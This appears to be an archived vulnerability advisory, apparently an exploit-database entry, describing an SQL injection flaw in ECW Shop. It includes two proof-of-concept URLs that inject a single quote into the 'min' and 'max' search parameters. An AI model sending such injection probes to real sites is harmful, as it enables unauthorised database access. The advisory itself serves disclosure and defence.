10 lines
No EOL
603 B
Text
Executable file
10 lines
No EOL
603 B
Text
Executable file
source: http://www.securityfocus.com/bid/14576/info
|
|
|
|
ECW Shop is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
|
|
|
|
The consequences of this attack may vary depending on the type of queries that can be influenced, and the implementation of the database.
|
|
|
|
http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3
|
|
6d90d8e9&key=1&comp=1&min='&max=1
|
|
http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3
|
|
6d90d8e9&key=1&comp=1&min=1&max=' |